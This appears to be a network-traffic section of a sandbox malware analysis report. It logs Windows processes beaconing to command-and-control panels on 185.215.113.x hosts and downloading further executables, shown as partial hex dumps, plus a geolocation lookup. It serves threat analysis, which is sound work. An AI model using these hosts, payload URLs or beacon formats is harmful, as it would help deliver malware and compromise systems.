Dec 18, 2024 12:00:53.570269108 CET	58	OUT	GET /inc/goldddd123.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:00:54.011892080 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:53 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 11:30:52 GMT Connection: keep-alive ETag: "676160ec-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 12:00:54.011944056 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 12:00:54.011955023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 12:00:54.012018919 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 18, 2024 12:00:54.012167931 CET	1236	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 18, 2024 12:00:54.012180090 CET	1236	IN	Data Raw: 08 89 f1 52 57 e8 0b 00 00 00 68 f8 41 42 00 56 e8 80 3f 00 00 56 89 ce 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f Data Ascii: RWhABV?VD$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAG
Dec 18, 2024 12:00:54.012192011 CET	1236	IN	Data Raw: 89 43 0c 89 7b 1c 8b 4d cc 89 4b 20 47 57 ff 75 c8 50 e8 30 57 00 00 83 c4 0c 8b 45 08 89 43 04 8b 45 0c 89 43 08 8d 7d d8 89 3b e8 9f 00 00 00 83 c4 24 8b 65 c4 83 7f 14 10 72 03 8b 7d d8 c7 06 28 c1 41 00 8d 46 04 31 c9 89 4e 08 89 4e 04 8d 4d Data Ascii: C{MK GWuP0WECEC};$er}(AF1NNM9APQ>@AEr,MxrQ) s>$WQAEFEFM1e^_[]USWV\|$0WB1D$t$<~t
Dec 18, 2024 12:00:54.012203932 CET	552	IN	Data Raw: e0 89 44 24 04 8b 39 85 ff 75 26 89 ce 89 e1 6a 00 e8 f6 07 00 00 83 3e 00 75 0d a1 80 65 42 00 40 a3 80 65 42 00 89 06 89 e1 e8 0e 08 00 00 8b 3e 8b 4c 24 04 31 e1 e8 bd 04 00 00 89 f8 83 c4 08 5e 5f c3 cc 57 56 8b 7c 24 0c 8b 41 04 39 78 0c 76 Data Ascii: D$9u&j>ueB@eB>L$1^_WV\|$A9xvH4u1xtf9xv@4^_SWV8\$HWB1D$4t\;uW\|$LjGtHESBP_FAPb#3
Dec 18, 2024 12:00:54.012588978 CET	1236	IN	Data Raw: d4 c3 41 00 e8 0c 01 00 00 83 7c 24 08 00 74 09 56 e8 77 02 00 00 83 c4 04 89 f0 5e c2 04 00 f0 ff 41 04 c3 cc 31 c0 f0 ff 49 04 0f 44 c1 c3 53 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 e4 20 00 00 83 c4 08 88 06 Data Ascii: A\|$tVw^A1IDSWV\$t$9tWP F9u^_[D$QP SWV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$
Dec 18, 2024 12:00:54.012600899 CET	1236	IN	Data Raw: 84 c0 75 04 32 c0 5d c3 e8 a4 5a 00 00 84 c0 75 0a 6a 00 e8 a7 35 00 00 59 eb e9 b0 01 5d c3 55 8b ec 80 3d 9c 64 42 00 00 74 06 80 7d 0c 00 75 12 ff 75 08 e8 8a 5a 00 00 ff 75 08 e8 7e 35 00 00 59 59 b0 01 5d c3 55 8b ec 80 3d 9d 64 42 00 00 74 Data Ascii: u2]Zuj5Y]U=dBt}uuZu~5YY]U=dBt]Vutub#t&u"hdB}YuhdB}Yt+20dBdBdBdBdBdBdB^]j#UEVH<AQAk(J9M
Dec 18, 2024 12:00:54.020042896 CET	1236	IN	Data Raw: a1 ac 65 42 00 c3 55 8b ec 80 3d b0 65 42 00 00 75 12 68 06 31 40 00 c6 05 b0 65 42 00 01 e8 54 21 00 00 59 8b 45 08 a3 ac 65 42 00 5d c3 55 8b ec 8b 45 08 57 8b 38 85 ff 74 2b 8b 07 56 8b 70 08 8b ce ff 15 10 37 42 00 8b cf ff d6 8b f8 85 ff 74 Data Ascii: eBU=eBuh1@eBT!YEeB]UEW8t+Vp7Btj17B^_]UQjMheB%eBYMUMA9t=PAu$B]@]UQQEVEEEV(A"bRP/YY^a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50040	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:54.173774958 CET	314	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 37 46 36 45 33 34 31 32 41 37 34 36 35 41 35 46 44 34 38 30 36 42 32 43 38 46 32 44 46 46 45 41 36 44 37 39 39 36 42 38 34 34 38 44 37 31 33 31 38 32 45 30 46 35 43 46 41 35 32 42 30 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA613555C37F6E3412A7465A5FD4806B2C8F2DFFEA6D7996B8448D713182E0F5CFA52B0
Dec 18, 2024 12:00:57.328454971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50041	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:57.414658070 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006343001&unit=246122658369
Dec 18, 2024 12:00:58.103368998 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 18, 2024 12:00:58.120704889 CET	53	OUT	GET /inc/sintv.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:00:58.563632011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:57 GMT Content-Type: application/octet-stream Content-Length: 4768256 Last-Modified: Sun, 15 Dec 2024 17:37:23 GMT Connection: keep-alive ETag: "675f13d3-48c200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 23 58 5d 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 e0 47 00 00 e0 00 00 00 00 00 00 ae fd 47 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 49 00 00 02 00 00 5e 1b 49 00 02 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 fd 47 00 54 00 00 00 00 00 48 00 c6 dc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 48 00 0c 00 00 00 cc fd 47 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd#X]g"GG @ I^I`XGTHHGG H.text4G G `.rsrcHG@@.relocHH@BH-"X,t9(&(sssss0~o80~o80~o80~o80~o80B~(9!rp(os~80~8"*Vs
Dec 18, 2024 12:00:58.563678980 CET	1236	IN	Data Raw: 00 00 06 28 11 00 00 0a 74 06 00 00 02 80 08 00 00 04 2a 00 00 1e 02 28 12 00 00 0a 2a 13 30 01 00 0e 00 00 00 10 00 00 11 00 7e 08 00 00 04 0a 38 00 00 00 00 06 2a 00 00 01 04 00 00 13 30 01 00 0e 00 00 00 12 00 00 11 00 28 0e 00 00 06 0a 38 00 Data Ascii: (t(0~80(8%r-p((%rprps(0v5P(:Pr2po89Pr6po9Po8
Dec 18, 2024 12:00:58.563714027 CET	1236	IN	Data Raw: 11 14 39 0b 00 00 00 72 db 04 00 70 0c 38 fa 01 00 00 00 02 50 72 9c 05 00 70 6f 19 00 00 0a 39 10 00 00 00 02 50 6f 1a 00 00 0a 1f 5e fe 02 38 01 00 00 00 16 13 15 11 15 39 0b 00 00 00 72 db 04 00 70 0c 38 c3 01 00 00 00 02 50 72 a0 05 00 70 6f Data Ascii: 9rp8Prpo9Po^89rp8Prpo9Po!89rp8Prpo9Po!89rp8UPrpo9Po89rp8Pr<
Dec 18, 2024 12:00:58.563764095 CET	1236	IN	Data Raw: 00 00 0a 13 16 11 16 13 17 16 13 18 38 2f 00 00 00 11 17 11 18 a3 0c 00 00 01 13 19 06 72 50 07 00 70 12 19 28 12 00 00 06 28 35 00 00 0a 28 32 00 00 0a 28 33 00 00 0a 0a 00 11 18 17 d6 13 18 11 18 11 17 8e 69 fe 04 13 1a 11 1a 2d c3 06 28 35 00 Data Ascii: 8/rPp((5(2(3i-(5o7o48880(8s9 o:8*0O,(98<s;%(<o=%o>%r^po?%o
Dec 18, 2024 12:00:58.563802958 CET	1236	IN	Data Raw: 11 40 00 06 6f 9c 44 00 06 0a 06 39 06 00 00 00 00 38 4b 01 00 00 00 28 16 00 00 06 00 1b 17 28 1f 00 00 06 00 28 53 00 00 0a 0b 07 7e 0f 00 00 04 6f 11 40 00 06 6f 7b 44 00 06 19 7e 0f 00 00 04 6f 11 40 00 06 6f 71 44 00 06 6f 54 00 00 0a 28 55 Data Ascii: @oD98K(((S~o@o{D~o@oqDoT(Us;%r4po=%o>%r^po?%o@9F%rNp%~o@oqD%rzp%%rp(VoW8B%rp%~o@oq
Dec 18, 2024 12:00:58.563966036 CET	1236	IN	Data Raw: 02 28 26 00 00 06 28 3c 00 00 0a 28 26 00 00 06 16 28 6f 00 00 0a 16 fe 03 13 06 11 06 39 43 00 00 00 02 28 28 00 00 06 00 28 15 00 00 06 13 07 11 07 39 26 00 00 00 02 28 59 00 00 0a 00 28 3c 00 00 0a 02 28 73 00 00 0a 00 28 1c 00 00 06 00 28 1d Data Ascii: (&(<(&(o9C(((9&(Y(<(s((8(9{(((9]~(f(p9(t(p9(Y(<(s((8(
Dec 18, 2024 12:00:58.563999891 CET	1236	IN	Data Raw: 00 00 04 3a 2d 00 00 00 28 98 00 00 0a 6f 99 00 00 0a 6f 9a 00 00 0a 6f 24 00 00 0a 80 21 00 00 04 7e 21 00 00 04 3a 0a 00 00 00 7e 27 00 00 0a 80 21 00 00 04 7e 21 00 00 04 2a 00 00 1e 02 28 16 00 00 0a 2a 13 30 0b 00 47 00 00 00 72 00 00 11 28 Data Ascii: :-(ooo$!~!:~'!~!(0Gr(osa&s!%( oo\|%Zoto@(0$s(4(o(ioz(4(oo(*0
Dec 18, 2024 12:00:58.564033985 CET	1236	IN	Data Raw: 0d 02 28 4c 00 00 06 13 04 02 28 4c 00 00 06 13 05 06 1f 17 40 34 00 00 00 07 1f 72 40 2c 00 00 00 08 1f 45 40 24 00 00 00 09 1f 38 40 1c 00 00 00 11 04 1f 50 40 13 00 00 00 11 05 20 90 00 00 00 40 07 00 00 00 02 28 45 00 00 06 2a 06 1f 31 40 2a Data Ascii: (L(L@4r@,E@$8@P@ @(E1@A@"Y@&@S@Y;(G}D(O}N(K@}28}2(R{5o}M0S{5o}P
Dec 18, 2024 12:00:58.564075947 CET	1236	IN	Data Raw: 00 00 04 08 09 d1 9d 08 17 58 0c 08 11 06 32 d8 1c 8d 16 00 00 01 13 07 16 13 08 38 0e 00 00 00 11 07 11 08 11 08 9d 11 08 17 58 d1 13 08 11 08 11 05 32 ec 16 0c 38 42 00 00 00 02 7b 3b 00 00 04 08 93 13 08 11 07 11 08 93 13 09 38 13 00 00 00 11 Data Ascii: X28X28B{;8YY0{:X28S(K88(K:X8Y(K.X2X28
Dec 18, 2024 12:00:58.564111948 CET	1236	IN	Data Raw: 00 00 04 02 7b 2f 00 00 04 11 15 9d 11 0d 17 59 13 0d 11 0d 16 30 d8 02 7b 2f 00 00 04 07 3f 3d fe ff ff 28 46 00 00 06 38 33 fe ff ff 02 02 7b 2f 00 00 04 17 58 7d 2f 00 00 04 02 7b 2f 00 00 04 07 3f 05 00 00 00 28 46 00 00 06 06 11 0c 17 59 93 Data Ascii: {/Y0{/?=(F83{/X}/{/?(FY{>{8"%JXT{={/{8Y84YYYYYYYY08YY0:X2
Dec 18, 2024 12:00:58.572561979 CET	1236	IN	Data Raw: 7d 4d 00 00 04 02 7b 35 00 00 04 02 7b 55 00 00 04 6f 96 00 00 06 2a 02 28 44 00 00 06 02 28 43 00 00 06 02 28 53 00 00 06 2a 00 00 00 01 04 00 00 13 30 0a 00 fb 00 00 00 00 00 00 00 02 7b 55 00 00 04 02 7b 54 00 00 04 3b 15 00 00 00 02 18 7d 4d Data Ascii: }M{5{Uo(D(C(S0{U{T;}M}S(T*{SX}S{S?{={W}[{<{W}W{X:7~.{Y}X{YX}Y{Y @}Y{XY}X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50042	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:59.277226925 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:01:00.587968111 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50043	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:02.274775028 CET	314	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 37 46 36 45 33 34 31 32 41 37 34 36 35 41 35 46 44 34 38 30 36 42 32 43 38 46 32 44 46 46 45 41 36 44 37 39 39 36 42 38 34 34 38 44 37 31 33 31 38 32 45 30 46 35 43 46 41 35 32 42 30 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA613555C37F6E3412A7465A5FD4806B2C8F2DFFEA6D7996B8448D713182E0F5CFA52B0
Dec 18, 2024 12:01:05.142927885 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:01:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50047	185.215.113.36	80	2620	C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:05.491389990 CET	155	OUT	POST /Dem7kTu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.36 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:01:07.238339901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:01:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50051	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:06.920810938 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:01:08.445889950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50056	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:07.451625109 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 35 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006591001&unit=246122658369
Dec 18, 2024 12:01:08.847055912 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:01:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50057	208.95.112.1	80	7288	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:07.640748024 CET	125	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.10.5
Dec 18, 2024 12:01:08.789114952 CET	483	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 306 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50059	185.215.113.36	80	2620	C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:08.938983917 CET	313	OUT	POST /Dem7kTu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.36 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 43 36 43 37 45 43 45 32 32 30 37 32 34 43 46 38 44 43 45 37 31 30 30 38 41 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 45 34 42 43 41 46 42 31 32 41 30 44 43 45 41 46 34 41 33 38 32 33 39 43 46 30 39 30 33 30 33 30 33 35 39 38 38 39 42 34 36 44 41 30 44 36 43 36 34 39 41 42 30 30 38 32 46 44 30 32 41 44 38 43 37 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750C6C7ECE220724CF8DCE71008ABD66259586F0F21EA74869AC58983B5E4BCAFB12A0DCEAF4A38239CF0903030359889B46DA0D6C649AB0082FD02AD8C7
Dec 18, 2024 12:01:10.887171984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50060	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:09.130178928 CET	53	OUT	GET /inc/trunk.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:01:10.460066080 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:01:09 GMT Content-Type: application/octet-stream Content-Length: 10732544 Last-Modified: Tue, 17 Dec 2024 18:01:08 GMT Connection: keep-alive ETag: "6761bc64-a3c400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 d9 5e 59 67 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 2b 00 ba 01 00 00 c0 a3 00 00 3e 02 00 25 11 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 70 a6 00 00 04 00 00 4e dd 02 00 03 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 04 00 14 0e 00 00 00 b0 04 00 08 ad a1 00 00 20 02 00 c8 07 00 00 00 00 00 00 00 00 00 00 